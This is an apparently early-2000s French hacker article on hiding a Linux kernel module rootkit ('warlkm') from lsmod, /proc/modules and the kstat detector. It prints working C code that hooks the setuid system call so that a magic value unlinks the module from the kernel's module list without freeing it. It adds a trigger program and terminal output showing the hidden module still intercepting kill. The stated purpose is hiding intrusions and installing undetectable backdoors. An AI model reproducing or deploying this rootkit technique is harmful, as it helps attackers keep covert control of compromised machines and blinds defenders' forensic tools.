Modules du noyau linux indétectables

 

1 - Introduction
1.1 Qu'est-ce qu'un lkm ?
Lkm veut dire Linux Kernel Module. C'est un add-on que l'on peut greffer au kernel pendant son fonctionnement. La plupart des modules servent à gérer du matériel, un type de partitions, etc... mais nos lkm servent surtout a cacher une intrusion dans un système, et a installer une backdoor qui ne sera pas vue même avec des outils comme kstat comme nous le verrons plus loin. Cet article n'est pas une initiation aux lkm, si vous venez de découvrir ce terme lisez avant tout un document tel que "Nearly complète linux kernel modules" de pragmatic/THC. J'écrirai peut-être une initiation plus tard.

1.2 Pourquoi un lkm peut-il être dangereux ?
Lorsqu'un hacker pénétré sur votre système, toute configuration par défaut lui laisse l'opportunité d'installer un lkm. Le lkm peut modifier le fonctionnement du noyau, cacher des processus, se cacher lui-même, rendre le noyau instable ou faire des mau-vaises (très mauvaises) blagues telles que rendre l'affichage de la console en c0wB0yZ !!! Les seules limites implémentation de ces lkm sont l'imagination et vos dons de codeurs.

1.3 Passons aux choses sérieuses...La détection de ces modules
Lorsque vous avez été pénétré, la première chose a faire pour voir si vous êtes victimes d'un lkm est d'exécuter "lsmod" et "cat /proc/modules".

Ex : falcon :~$ cat /proc/modules

evil_lkm

5746

0

(unused)

scsi_mod

58640

0

 

msdos

5408

0

(unused)

minix

22384

0

(unused)

binfmt_misc

3280

0

 

ne2k-pci

4656

0

(unused)

8390

6432

0

[ne2k-pci]

bsd_comp

3872

0

(unused)

ppp

20160

0

[bsd_comp]

lp

5360

0

(unused)

parport_pc

5840

1

 

parport

7056

1

[lp parport_pc]

vfat

9312

2

(autoclean)

fat

30144

2

(autoclean) [msdos vfat]

Comme vous pouvez le voir, il y a un module nommé evil_lkm qui est chargé dans le système. Vive la discrétion ! (j'ai personnelement vu une box linux qui avait un module nommé rkit chargé...) Pour éliminer cet intrus, executez /sbin/rmmod evil_lkm.

Dans la plupart des cas, le module exporte ses propres symboles dans /proc/ksyms. Ne vous laissez pas avoir, il y très facilement moyen de les eliminer. Les méthodes décrites par pragmatic pour cacher son lkm sont a présent totalement obsoletes avec des outils comme kstat, alors nous allons en trouver de nouvelles.

2 - Détéction de lkm à l'aide de KSTAT
2.1 Kstat ??
Kstat est un programme qui analyse /dev/kmem pour y retrouver directement les modules, processus, et system calls. L'utilisateur doir être root, fournir un System.map correspondant à son noyau, et qui est créé à la compilation de ce dernier.

2.2 Pourquoi est-il plus sécurisé d'uti- liser kstat à la place de lsmod ?
lsmod et /proc/modules sont basés uniquement sur le noyau. Il est très facile de cacher son module par exemple en modifiant son nom. C'est plus dur de se cacher de kmem, mais ce n'est pas impossible ...

2.3 Comment on utilise kstat ?
Regardez dans la page man, mais en gros kstat -smontre les adresses des syscalls, à partir de sys_call_table et kstat -Mmontre les modules insérés dans le noyau. Nous voilà partis !

3 - Cachons notre module !
3.1 Insértion de module dans le noyau
Un module est inséré dans le kernel par l'appel système "sys_crea-te_ module" (quel secret !!). Le code est inséré dans la mémoire du kernel. Les symboles sont résolvés par insmod. Module_init() est lancée, et si elle n'échoue pas, le module est installé.

3.2 Déchargement de module
Ici les choses commencent à devenir intérressantes ... L'appel système "sys_delete_module" enlève un module (sans blagues !). Obser-vez la dans /usr/src/linux/kernel/module.c (je pense qu'elle est identique dans le 2.2 et dans le 2.4 mais je me suis basé sur une version 2.2).

3.3 Joli code, mais que faire ?
Mon idée est de charger normallement le module, puis de le décharger mais en "oubliant" de désallouer sa mémoire. Le code du lkm va rester en memoire et ne se fera jamais ecraser par un autre (vu que sa mémoire reste allouée) et les appels systèmes déviés se feront encore normalement. Il faut pour cela construire une version spéciale de sys_remove_module.

struct module **module_list =(struct module *) MODULE_LIST;
extern struct module *this_module;
static inline remove_me(pid_t pid){

int tag_freed = 0;
struct module_ref *dep;
unsigned i;
struct module *mod =this_module;
if (pid==12345){

hacked_sys_call_table[SYS_setuid]=sys_setuid;
/* Let the module clean up. */
if (mod) {

mod->flags |= MOD_DELETED;
if (mod->flags & MOD_RUNNING)
{

/* if(mod->cleanup)
mod->cleanup();*/
/* cleanup() my module ??? you are crazy in your head :-) */
mod->flags &= ~MOD_RUNNING;
}
/* Remove the module from the dependency lists.
*/
for (i = 0, dep = mod->deps; i < mod->ndeps; ++i, ++dep) {
struct module_ref **pp;
for (pp = &dep->dep->refs; *pp != dep;
pp = \
&(*pp)->next_ref)
continue;
*pp = dep->next_ref;
if (tag_freed && dep->dep->refs == NULL)
dep->dep->flags |= MOD_JUST_FREED;
}
/* And from the main module list. */
if (mod == *module_list) {
*module_list = mod->next;
} else {
struct module *p;
for (p = *module_list; p->next != mod;
p = p->next) continue;
p->next = mod->next;
}
/* And **not to free** the memory. ( :-)))) )*/
/*
module_unmap(mod);
*/

} /* if(mod) */
else {
printk("<1> warlkm not found \n");
return 1;
}
return 0;
}
else
return (*sys_setuid)(pid);
}

Ce bout de code provient de mon lkm (warlkm). Cette fonction est placée à la place de sys_setuid dans sys_call_table pour pou-voir être lancée à l'appel de setuid(12345). Il faut lancer cette fonction d'un moyen externe et non à partir de module_init() parce que lors de l'exécution de cette dernière, le module n'est pas encore enregistré dans le kernel.

Il y a une ligne un peu bizarre :

struct module **module_list =(struct module *) MODULE_LIST;

C'est une fonction qui n'est pas exportée par le kernel. Pour pou-voir l'utiliser, ils faut les sortir de System.map (et placer l'adresse de module_list dans MODULE_LIST Vous pouvez aussi voir un hacked_sys_call_table[]. ça sera expliqué dans le texte suivant mais pour le moment on considère que c'est equivalent a sys_call_table.

3.4 Les faits
Rentrez ce code dans votre lkm et n'oubliez pas de faire un original_sys_setuid=sys_call_table[SYS_setuid];
sys_call_table[SYS_setuid]=remove_me;

Compilez le et insmodez le...

falcon :~/warlkm# lsmod

Module

Size

Used by

warlkm

2448

0 (unused)

...

   

notre module est toujours là.

falcon :~/warlkm# kstat -M
Using /lib/modules/misc/knull.o

Module

Address

Knull

0xc4c71000

Warlkm

0xc4c73000

scsi_mod

0xc4c59000

...

 

Warlkm est encore visible.

Maintenant, exécutons notre petite fonction remove_me :-)

J'ai fais un tout ptit programme qui lance l'appel système sys_setuid

int main(){
setuid(12345);
return 0;
}

on compile, exécute, et ..

falcon:~/warlkm# lsmod

Module

Size

Used by

Knull

224

0 (unused)

scsi_mod

58640

0

...

   

pas de warlkm !

falcon :~/warlkm# kstat -M
Using /lib/modules/misc/knull.o

Module

Address

Knull

0xc4c71000

scsi_mod

0xc4c59000

msdos

0xc4c56000

...

 

pas de warlkm non plus

Malgré qu'on ne le voie plus, le lkm est toujours en mémoire. Ce bout de code seul ne peut rien prouver vu qu'il n'intercepte pas de sys-call, mais si vous l'aviez intégré à votre lkm favori, ce dernier fonctionnerait encore. Test avec warlkm : mon lkm intercepte sys_kill.Si le lkm n'était plus présent, il ne marcherait plus. Essayons de faire disparaitre le processus init (qui ne peut normallement pas etre killé)

falcon :~/warlkm# kill -32 1
falcon :~/warlkm# ps aux | grep init
falcon :~/warlkm# kill -32 1
falcon :~/warlkm# ps aux | grep init

root

1

0.0

0.0

344

52

?

S

12:05

0:04

init[3]

Ok ça marche ;-)

3.5 C'est bien. On le vire comment ?
En rebootant la machine. ou alors créer un autre lkm qui réinstalle les rustines dans sys_call... il faut déjà savoir que le module existe !! La fois prochaine, nous verrons comment empêcher certains programmes comme kstat de détecter les détournements de syscalls.

Bonne prog.

4 - Bibliographie
Pragmatic/THC The nearly complète linux kernel modules :
http://www.thehackerschoice.com/papers/LKM_HACKING.htm
O'Reilly "Understanding the linux kernel" (maintenant existe en français).

 

SW